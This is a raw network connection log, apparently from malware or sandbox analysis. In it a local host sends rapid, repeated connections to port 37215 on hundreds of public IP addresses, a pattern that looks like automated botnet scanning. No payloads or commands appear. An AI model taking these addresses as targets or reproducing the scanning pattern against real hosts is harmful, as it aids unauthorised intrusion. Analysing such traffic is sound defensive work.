Sep 25, 2024 14:14:09.504829884 CEST	37215	63353	197.149.193.210	192.168.2.14
Sep 25, 2024 14:14:09.504831076 CEST	63353	37215	192.168.2.14	197.70.247.166
Sep 25, 2024 14:14:09.504841089 CEST	37215	63353	156.145.29.59	192.168.2.14
Sep 25, 2024 14:14:09.504847050 CEST	63353	37215	192.168.2.14	41.151.99.51
Sep 25, 2024 14:14:09.504852057 CEST	37215	63353	41.151.73.141	192.168.2.14
Sep 25, 2024 14:14:09.504863024 CEST	37215	63353	41.54.129.201	192.168.2.14
Sep 25, 2024 14:14:09.504874945 CEST	37215	63353	197.57.110.182	192.168.2.14
Sep 25, 2024 14:14:09.504878044 CEST	63353	37215	192.168.2.14	41.123.77.117
Sep 25, 2024 14:14:09.504879951 CEST	63353	37215	192.168.2.14	197.149.193.210
Sep 25, 2024 14:14:09.504879951 CEST	63353	37215	192.168.2.14	156.145.29.59
Sep 25, 2024 14:14:09.504887104 CEST	63353	37215	192.168.2.14	41.151.73.141
Sep 25, 2024 14:14:09.504900932 CEST	63353	37215	192.168.2.14	41.54.129.201
Sep 25, 2024 14:14:09.504901886 CEST	63353	37215	192.168.2.14	197.57.110.182
Sep 25, 2024 14:14:09.505125999 CEST	37215	63353	156.139.35.230	192.168.2.14
Sep 25, 2024 14:14:09.505136967 CEST	37215	63353	156.242.85.23	192.168.2.14
Sep 25, 2024 14:14:09.505146980 CEST	37215	63353	156.128.98.121	192.168.2.14
Sep 25, 2024 14:14:09.505156994 CEST	37215	63353	41.100.62.192	192.168.2.14
Sep 25, 2024 14:14:09.505160093 CEST	63353	37215	192.168.2.14	156.139.35.230
Sep 25, 2024 14:14:09.505172968 CEST	37215	63353	156.2.27.162	192.168.2.14
Sep 25, 2024 14:14:09.505176067 CEST	63353	37215	192.168.2.14	156.128.98.121
Sep 25, 2024 14:14:09.505181074 CEST	37215	63353	156.165.73.168	192.168.2.14
Sep 25, 2024 14:14:09.505201101 CEST	37215	63353	197.214.170.130	192.168.2.14
Sep 25, 2024 14:14:09.505203009 CEST	63353	37215	192.168.2.14	156.242.85.23
Sep 25, 2024 14:14:09.505203009 CEST	63353	37215	192.168.2.14	41.100.62.192
Sep 25, 2024 14:14:09.505212069 CEST	37215	63353	156.198.115.58	192.168.2.14
Sep 25, 2024 14:14:09.505222082 CEST	37215	63353	197.174.240.197	192.168.2.14
Sep 25, 2024 14:14:09.505233049 CEST	37215	63353	41.5.73.16	192.168.2.14
Sep 25, 2024 14:14:09.505235910 CEST	63353	37215	192.168.2.14	156.2.27.162
Sep 25, 2024 14:14:09.505237103 CEST	63353	37215	192.168.2.14	197.214.170.130
Sep 25, 2024 14:14:09.505239010 CEST	63353	37215	192.168.2.14	156.165.73.168
Sep 25, 2024 14:14:09.505243063 CEST	37215	63353	156.176.101.40	192.168.2.14
Sep 25, 2024 14:14:09.505251884 CEST	63353	37215	192.168.2.14	156.198.115.58
Sep 25, 2024 14:14:09.505254030 CEST	37215	63353	41.141.109.165	192.168.2.14
Sep 25, 2024 14:14:09.505254030 CEST	63353	37215	192.168.2.14	197.174.240.197
Sep 25, 2024 14:14:09.505268097 CEST	37215	63353	197.198.2.66	192.168.2.14
Sep 25, 2024 14:14:09.505271912 CEST	63353	37215	192.168.2.14	41.5.73.16
Sep 25, 2024 14:14:09.505274057 CEST	63353	37215	192.168.2.14	156.176.101.40
Sep 25, 2024 14:14:09.505279064 CEST	37215	63353	197.40.210.203	192.168.2.14
Sep 25, 2024 14:14:09.505290985 CEST	37215	63353	156.231.245.93	192.168.2.14
Sep 25, 2024 14:14:09.505300045 CEST	63353	37215	192.168.2.14	197.198.2.66
Sep 25, 2024 14:14:09.505321980 CEST	63353	37215	192.168.2.14	197.40.210.203
Sep 25, 2024 14:14:09.505321980 CEST	63353	37215	192.168.2.14	156.231.245.93
Sep 25, 2024 14:14:09.505346060 CEST	37215	63353	156.229.219.215	192.168.2.14
Sep 25, 2024 14:14:09.505357027 CEST	37215	63353	41.163.62.107	192.168.2.14
Sep 25, 2024 14:14:09.505367994 CEST	37215	63353	41.11.148.46	192.168.2.14
Sep 25, 2024 14:14:09.505367041 CEST	63353	37215	192.168.2.14	41.141.109.165
Sep 25, 2024 14:14:09.505376101 CEST	63353	37215	192.168.2.14	156.229.219.215
Sep 25, 2024 14:14:09.505378008 CEST	37215	63353	156.225.84.206	192.168.2.14
Sep 25, 2024 14:14:09.505386114 CEST	63353	37215	192.168.2.14	41.163.62.107
Sep 25, 2024 14:14:09.505388021 CEST	37215	63353	41.174.86.157	192.168.2.14
Sep 25, 2024 14:14:09.505412102 CEST	63353	37215	192.168.2.14	41.11.148.46
Sep 25, 2024 14:14:09.505414963 CEST	63353	37215	192.168.2.14	156.225.84.206
Sep 25, 2024 14:14:09.505441904 CEST	63353	37215	192.168.2.14	41.174.86.157
Sep 25, 2024 14:14:09.508549929 CEST	37215	32832	197.137.197.243	192.168.2.14
Sep 25, 2024 14:14:09.508605957 CEST	32832	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:09.510555983 CEST	37215	39490	197.150.60.243	192.168.2.14
Sep 25, 2024 14:14:09.510596991 CEST	39490	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:09.542382002 CEST	34480	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:09.549918890 CEST	37215	34480	197.62.234.103	192.168.2.14
Sep 25, 2024 14:14:09.549977064 CEST	34480	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:09.593137980 CEST	44902	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:09.600599051 CEST	37215	44902	156.129.215.226	192.168.2.14
Sep 25, 2024 14:14:09.600651026 CEST	44902	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:09.618267059 CEST	53700	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:09.620178938 CEST	60866	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:09.622550011 CEST	42618	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:09.624201059 CEST	42254	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:09.625715971 CEST	37215	53700	41.204.214.55	192.168.2.14
Sep 25, 2024 14:14:09.625782013 CEST	53700	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:09.625793934 CEST	55974	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:09.627065897 CEST	46578	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:09.627475023 CEST	37215	60866	197.4.255.13	192.168.2.14
Sep 25, 2024 14:14:09.627526999 CEST	60866	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:09.628374100 CEST	57410	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:09.629597902 CEST	37215	42618	156.182.203.125	192.168.2.14
Sep 25, 2024 14:14:09.629668951 CEST	42618	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:09.629678965 CEST	57062	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:09.631042004 CEST	59120	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:09.631644011 CEST	37215	42254	197.172.82.145	192.168.2.14
Sep 25, 2024 14:14:09.631683111 CEST	42254	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:09.632426023 CEST	53092	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:09.633300066 CEST	37215	55974	197.22.8.23	192.168.2.14
Sep 25, 2024 14:14:09.633347034 CEST	55974	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:09.633483887 CEST	43676	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:09.634264946 CEST	40592	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:09.634500980 CEST	37215	46578	156.5.157.97	192.168.2.14
Sep 25, 2024 14:14:09.634545088 CEST	46578	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:09.635329008 CEST	42828	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:09.635546923 CEST	37215	57410	41.161.47.162	192.168.2.14
Sep 25, 2024 14:14:09.635586023 CEST	57410	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:09.636246920 CEST	38586	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:09.637212992 CEST	38602	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:09.637257099 CEST	37215	57062	197.213.83.147	192.168.2.14
Sep 25, 2024 14:14:09.637291908 CEST	57062	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:09.638170958 CEST	40092	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:09.638406992 CEST	37215	59120	41.236.198.95	192.168.2.14
Sep 25, 2024 14:14:09.638453960 CEST	59120	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:09.639031887 CEST	51654	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:09.639944077 CEST	37215	53092	197.232.113.246	192.168.2.14
Sep 25, 2024 14:14:09.639991999 CEST	53092	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:09.640111923 CEST	47866	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:09.640759945 CEST	37215	43676	41.17.167.241	192.168.2.14
Sep 25, 2024 14:14:09.640804052 CEST	43676	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:09.641422033 CEST	44094	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:09.641467094 CEST	37215	40592	156.231.211.64	192.168.2.14
Sep 25, 2024 14:14:09.641500950 CEST	40592	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:09.642736912 CEST	37215	42828	156.43.122.92	192.168.2.14
Sep 25, 2024 14:14:09.642813921 CEST	47632	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:09.642843008 CEST	42828	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:09.643690109 CEST	37215	38586	197.117.239.45	192.168.2.14
Sep 25, 2024 14:14:09.643734932 CEST	38586	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:09.644548893 CEST	54036	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:09.644866943 CEST	37215	38602	197.211.194.206	192.168.2.14
Sep 25, 2024 14:14:09.644911051 CEST	38602	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:09.645730972 CEST	37215	40092	41.224.51.184	192.168.2.14
Sep 25, 2024 14:14:09.645767927 CEST	40092	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:09.646064997 CEST	50220	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:09.646414995 CEST	37215	51654	197.78.160.104	192.168.2.14
Sep 25, 2024 14:14:09.646456003 CEST	51654	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:09.647499084 CEST	37215	47866	41.186.58.182	192.168.2.14
Sep 25, 2024 14:14:09.647578955 CEST	47866	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:09.647692919 CEST	42122	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:09.648689032 CEST	37215	44094	156.10.102.1	192.168.2.14
Sep 25, 2024 14:14:09.648725033 CEST	44094	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:09.649681091 CEST	37215	47632	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:09.649701118 CEST	54084	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:09.649729013 CEST	47632	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:09.650688887 CEST	37215	54036	41.7.172.29	192.168.2.14
Sep 25, 2024 14:14:09.650831938 CEST	54036	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:09.651470900 CEST	33078	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:09.651825905 CEST	37215	50220	41.35.202.34	192.168.2.14
Sep 25, 2024 14:14:09.651874065 CEST	50220	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:09.653522015 CEST	49178	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:09.653582096 CEST	37215	42122	41.117.220.87	192.168.2.14
Sep 25, 2024 14:14:09.653623104 CEST	42122	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:09.654472113 CEST	37215	54084	197.44.240.204	192.168.2.14
Sep 25, 2024 14:14:09.654511929 CEST	54084	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:09.655157089 CEST	34102	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:09.656987906 CEST	50674	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:09.657166004 CEST	37215	33078	197.122.68.154	192.168.2.14
Sep 25, 2024 14:14:09.657207966 CEST	33078	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:09.659230947 CEST	37215	49178	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:09.659277916 CEST	49178	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:09.659425974 CEST	41022	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:09.661164999 CEST	37215	34102	41.205.14.22	192.168.2.14
Sep 25, 2024 14:14:09.661214113 CEST	34102	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:09.661611080 CEST	47978	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:09.662625074 CEST	37215	50674	156.165.196.119	192.168.2.14
Sep 25, 2024 14:14:09.662664890 CEST	50674	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:09.663408041 CEST	42460	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:09.664705992 CEST	54974	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:09.666289091 CEST	60396	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:09.667267084 CEST	37215	41022	156.76.35.164	192.168.2.14
Sep 25, 2024 14:14:09.667325974 CEST	41022	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:09.668579102 CEST	47088	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:09.668590069 CEST	37215	47978	156.24.206.200	192.168.2.14
Sep 25, 2024 14:14:09.668939114 CEST	47978	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:09.670321941 CEST	37215	42460	41.114.20.185	192.168.2.14
Sep 25, 2024 14:14:09.670377016 CEST	42460	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:09.671788931 CEST	37215	54974	156.218.179.250	192.168.2.14
Sep 25, 2024 14:14:09.671835899 CEST	54974	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:09.671943903 CEST	37076	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:09.674774885 CEST	44744	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:09.674789906 CEST	37215	60396	197.136.135.76	192.168.2.14
Sep 25, 2024 14:14:09.674829960 CEST	60396	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:09.676023006 CEST	37215	47088	197.53.139.110	192.168.2.14
Sep 25, 2024 14:14:09.676094055 CEST	47088	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:09.677939892 CEST	44888	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:09.679801941 CEST	37215	37076	197.193.248.155	192.168.2.14
Sep 25, 2024 14:14:09.679857969 CEST	37076	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:09.680612087 CEST	45202	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:09.682138920 CEST	37215	44744	197.86.207.86	192.168.2.14
Sep 25, 2024 14:14:09.682193041 CEST	44744	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:09.683758020 CEST	52692	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:09.685225964 CEST	37215	44888	41.24.178.92	192.168.2.14
Sep 25, 2024 14:14:09.685328007 CEST	44888	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:09.686419010 CEST	60448	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:09.688262939 CEST	37215	45202	156.36.9.56	192.168.2.14
Sep 25, 2024 14:14:09.688311100 CEST	45202	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:09.690016031 CEST	52248	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:09.691179991 CEST	37215	52692	156.250.70.236	192.168.2.14
Sep 25, 2024 14:14:09.691227913 CEST	52692	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:09.692173004 CEST	55606	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:09.693851948 CEST	37215	60448	41.20.204.217	192.168.2.14
Sep 25, 2024 14:14:09.693892956 CEST	60448	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:09.694410086 CEST	53184	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:09.696422100 CEST	34792	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:09.697479010 CEST	37215	52248	197.239.226.40	192.168.2.14
Sep 25, 2024 14:14:09.697523117 CEST	52248	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:09.698972940 CEST	48426	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:09.699430943 CEST	37215	55606	41.85.169.189	192.168.2.14
Sep 25, 2024 14:14:09.699477911 CEST	55606	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:09.700611115 CEST	48696	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:09.701643944 CEST	37215	53184	41.0.127.129	192.168.2.14
Sep 25, 2024 14:14:09.701684952 CEST	53184	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:09.702682972 CEST	47438	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:09.703593016 CEST	37215	34792	156.243.133.195	192.168.2.14
Sep 25, 2024 14:14:09.703627110 CEST	34792	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:09.704134941 CEST	49694	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:09.705394983 CEST	33980	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:09.706162930 CEST	45004	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:09.706213951 CEST	37215	48426	156.37.55.251	192.168.2.14
Sep 25, 2024 14:14:09.706320047 CEST	48426	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:09.707489014 CEST	54552	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:09.708095074 CEST	37215	48696	197.102.48.75	192.168.2.14
Sep 25, 2024 14:14:09.708394051 CEST	48696	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:09.708563089 CEST	48530	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:09.709522963 CEST	37215	47438	41.96.165.212	192.168.2.14
Sep 25, 2024 14:14:09.709532022 CEST	59818	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:09.709580898 CEST	47438	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:09.710604906 CEST	37215	49694	197.10.32.113	192.168.2.14
Sep 25, 2024 14:14:09.710630894 CEST	55888	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:09.710649014 CEST	49694	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:09.711661100 CEST	44470	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:09.712941885 CEST	52156	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:09.713365078 CEST	37215	33980	197.226.156.116	192.168.2.14
Sep 25, 2024 14:14:09.713404894 CEST	33980	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:09.714268923 CEST	54704	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:09.714792967 CEST	37215	45004	41.185.117.166	192.168.2.14
Sep 25, 2024 14:14:09.714844942 CEST	45004	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:09.715327024 CEST	37215	54552	41.253.163.98	192.168.2.14
Sep 25, 2024 14:14:09.715358973 CEST	54552	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:09.716080904 CEST	37215	48530	197.108.73.223	192.168.2.14
Sep 25, 2024 14:14:09.716085911 CEST	57810	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:09.716128111 CEST	48530	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:09.716839075 CEST	37215	59818	41.83.106.232	192.168.2.14
Sep 25, 2024 14:14:09.716880083 CEST	59818	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:09.718050957 CEST	37215	55888	41.138.112.209	192.168.2.14
Sep 25, 2024 14:14:09.718090057 CEST	55888	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:09.719110012 CEST	37215	44470	156.122.208.214	192.168.2.14
Sep 25, 2024 14:14:09.719145060 CEST	44470	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:09.719845057 CEST	37215	52156	156.142.59.249	192.168.2.14
Sep 25, 2024 14:14:09.719888926 CEST	52156	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:09.720843077 CEST	37215	54704	41.126.121.77	192.168.2.14
Sep 25, 2024 14:14:09.720918894 CEST	54704	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:09.722891092 CEST	37215	57810	156.205.173.203	192.168.2.14
Sep 25, 2024 14:14:09.722938061 CEST	57810	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:09.731031895 CEST	55844	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:09.732136011 CEST	49128	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:09.733269930 CEST	52648	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:09.734926939 CEST	53424	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:09.736663103 CEST	54888	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:09.737888098 CEST	53366	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:09.738311052 CEST	37215	55844	156.82.22.251	192.168.2.14
Sep 25, 2024 14:14:09.738354921 CEST	55844	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:09.738931894 CEST	37215	49128	197.187.150.219	192.168.2.14
Sep 25, 2024 14:14:09.738975048 CEST	49128	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:09.739701033 CEST	39734	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:09.739933014 CEST	37215	52648	156.82.102.137	192.168.2.14
Sep 25, 2024 14:14:09.739964008 CEST	52648	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:09.741075993 CEST	37215	53424	41.177.199.135	192.168.2.14
Sep 25, 2024 14:14:09.741115093 CEST	53424	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:09.741875887 CEST	43816	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:09.742430925 CEST	37215	54888	41.139.101.133	192.168.2.14
Sep 25, 2024 14:14:09.742472887 CEST	54888	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:09.743438959 CEST	37215	53366	41.213.184.0	192.168.2.14
Sep 25, 2024 14:14:09.743474007 CEST	53366	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:09.744487047 CEST	52282	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:09.744842052 CEST	37215	39734	41.192.9.132	192.168.2.14
Sep 25, 2024 14:14:09.744879961 CEST	39734	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:09.746598005 CEST	48382	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:09.746656895 CEST	37215	43816	156.60.200.195	192.168.2.14
Sep 25, 2024 14:14:09.746690989 CEST	43816	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:09.747895002 CEST	58474	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:09.749349117 CEST	37215	52282	156.159.53.215	192.168.2.14
Sep 25, 2024 14:14:09.749358892 CEST	52766	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:09.749394894 CEST	52282	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:09.750607967 CEST	60840	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:09.751414061 CEST	37215	48382	156.147.64.138	192.168.2.14
Sep 25, 2024 14:14:09.751455069 CEST	48382	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:09.751724958 CEST	39966	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:09.752671003 CEST	37215	58474	156.10.172.17	192.168.2.14
Sep 25, 2024 14:14:09.752710104 CEST	58474	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:09.753313065 CEST	58812	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:09.754149914 CEST	37215	52766	197.103.101.114	192.168.2.14
Sep 25, 2024 14:14:09.754190922 CEST	52766	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:09.755283117 CEST	50584	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:09.755669117 CEST	37215	60840	41.17.224.245	192.168.2.14
Sep 25, 2024 14:14:09.755747080 CEST	60840	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:09.756573915 CEST	37215	39966	156.172.137.208	192.168.2.14
Sep 25, 2024 14:14:09.756902933 CEST	39966	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:09.758119106 CEST	37215	58812	41.216.108.45	192.168.2.14
Sep 25, 2024 14:14:09.758189917 CEST	58812	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:09.758585930 CEST	40752	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:09.760554075 CEST	37215	50584	41.214.110.3	192.168.2.14
Sep 25, 2024 14:14:09.760596037 CEST	50584	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:09.761094093 CEST	45748	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:09.764132977 CEST	37215	40752	197.87.102.75	192.168.2.14
Sep 25, 2024 14:14:09.764195919 CEST	40752	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:09.764718056 CEST	49444	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:09.765897989 CEST	37215	45748	156.79.189.25	192.168.2.14
Sep 25, 2024 14:14:09.765960932 CEST	45748	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:09.766618013 CEST	56452	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:09.769642115 CEST	37215	49444	156.194.100.66	192.168.2.14
Sep 25, 2024 14:14:09.769805908 CEST	49444	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:09.771426916 CEST	37215	56452	156.178.255.27	192.168.2.14
Sep 25, 2024 14:14:09.771470070 CEST	56452	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:09.771497011 CEST	40276	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:09.776107073 CEST	60180	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:09.776479006 CEST	37215	40276	41.190.5.55	192.168.2.14
Sep 25, 2024 14:14:09.776523113 CEST	40276	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:09.779268026 CEST	52352	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:09.781157970 CEST	37215	60180	41.125.117.102	192.168.2.14
Sep 25, 2024 14:14:09.781197071 CEST	60180	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:09.781269073 CEST	57158	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:09.783139944 CEST	35812	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:09.784058094 CEST	37215	52352	41.149.63.53	192.168.2.14
Sep 25, 2024 14:14:09.784101963 CEST	52352	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:09.784809113 CEST	57910	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:09.786180973 CEST	37215	57158	156.252.250.218	192.168.2.14
Sep 25, 2024 14:14:09.786221981 CEST	57158	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:09.787369967 CEST	54830	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:09.787997961 CEST	37215	35812	41.82.43.36	192.168.2.14
Sep 25, 2024 14:14:09.788032055 CEST	35812	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:09.789215088 CEST	40712	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:09.789598942 CEST	37215	57910	197.0.5.179	192.168.2.14
Sep 25, 2024 14:14:09.789660931 CEST	57910	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:09.791632891 CEST	47260	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:09.792263985 CEST	37215	54830	156.189.101.111	192.168.2.14
Sep 25, 2024 14:14:09.792300940 CEST	54830	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:09.792716980 CEST	47494	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:09.793551922 CEST	53884	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:09.794418097 CEST	35998	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:09.794891119 CEST	37215	40712	41.4.254.46	192.168.2.14
Sep 25, 2024 14:14:09.794940948 CEST	40712	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:09.795146942 CEST	53560	37215	192.168.2.14	41.135.197.14
